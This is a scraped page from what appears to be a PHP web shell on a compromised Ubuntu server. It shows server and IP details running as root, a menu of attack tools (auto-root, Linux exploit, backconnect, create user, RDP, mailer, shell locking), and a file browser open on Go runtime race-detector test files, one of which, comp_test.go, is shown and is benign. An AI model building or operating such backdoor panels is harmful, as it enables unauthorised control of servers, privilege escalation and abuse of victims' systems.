Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
runtime /
race /
testdata /
[ HOME SHELL ]
Name
Size
Permission
Action
atomic_test.go
4.43
KB
-rw-r--r--
cgo_test.go
497
B
-rw-r--r--
cgo_test_main.go
415
B
-rw-r--r--
chan_test.go
10.15
KB
-rw-r--r--
comp_test.go
2.25
KB
-rw-r--r--
finalizer_test.go
1.05
KB
-rw-r--r--
io_test.go
1.33
KB
-rw-r--r--
issue12225_test.go
455
B
-rw-r--r--
issue12664_test.go
1.09
KB
-rw-r--r--
issue13264_test.go
310
B
-rw-r--r--
map_test.go
5.12
KB
-rw-r--r--
mop_test.go
27.82
KB
-rw-r--r--
mutex_test.go
1.85
KB
-rw-r--r--
pool_test.go
949
B
-rw-r--r--
reflect_test.go
811
B
-rw-r--r--
regression_test.go
2.74
KB
-rw-r--r--
rwmutex_test.go
2.08
KB
-rw-r--r--
select_test.go
4.08
KB
-rw-r--r--
slice_test.go
8.64
KB
-rw-r--r--
sync_test.go
2.96
KB
-rw-r--r--
waitgroup_test.go
5.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : comp_test.go
// Copyright 2012 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package race_test import ( "testing" ) type P struct { x, y int } type S struct { s1, s2 P } func TestNoRaceComp(t *testing.T) { c := make(chan bool, 1) var s S go func() { s.s2.x = 1 c <- true }() s.s2.y = 2 <-c } func TestNoRaceComp2(t *testing.T) { c := make(chan bool, 1) var s S go func() { s.s1.x = 1 c <- true }() s.s1.y = 2 <-c } func TestRaceComp(t *testing.T) { c := make(chan bool, 1) var s S go func() { s.s2.y = 1 c <- true }() s.s2.y = 2 <-c } func TestRaceComp2(t *testing.T) { c := make(chan bool, 1) var s S go func() { s.s1.x = 1 c <- true }() s = S{} <-c } func TestRaceComp3(t *testing.T) { c := make(chan bool, 1) var s S go func() { s.s2.y = 1 c <- true }() s = S{} <-c } func TestRaceCompArray(t *testing.T) { c := make(chan bool, 1) s := make([]S, 10) x := 4 go func() { s[x].s2.y = 1 c <- true }() x = 5 <-c } type P2 P type S2 S func TestRaceConv1(t *testing.T) { c := make(chan bool, 1) var p P2 go func() { p.x = 1 c <- true }() _ = P(p).x <-c } func TestRaceConv2(t *testing.T) { c := make(chan bool, 1) var p P2 go func() { p.x = 1 c <- true }() ptr := &p _ = P(*ptr).x <-c } func TestRaceConv3(t *testing.T) { c := make(chan bool, 1) var s S2 go func() { s.s1.x = 1 c <- true }() _ = P2(S(s).s1).x <-c } type X struct { V [4]P } type X2 X func TestRaceConv4(t *testing.T) { c := make(chan bool, 1) var x X2 go func() { x.V[1].x = 1 c <- true }() _ = P2(X(x).V[1]).x <-c } type Ptr struct { s1, s2 *P } func TestNoRaceCompPtr(t *testing.T) { c := make(chan bool, 1) p := Ptr{&P{}, &P{}} go func() { p.s1.x = 1 c <- true }() p.s1.y = 2 <-c } func TestNoRaceCompPtr2(t *testing.T) { c := make(chan bool, 1) p := Ptr{&P{}, &P{}} go func() { p.s1.x = 1 c <- true }() _ = p <-c } func TestRaceCompPtr(t *testing.T) { c := make(chan bool, 1) p := Ptr{&P{}, &P{}} go func() { p.s2.x = 1 c <- true }() p.s2.x = 2 <-c } func TestRaceCompPtr2(t *testing.T) { c := make(chan bool, 1) p := Ptr{&P{}, &P{}} go func() { p.s2.x = 1 c <- true }() p.s2 = &P{} <-c }
Close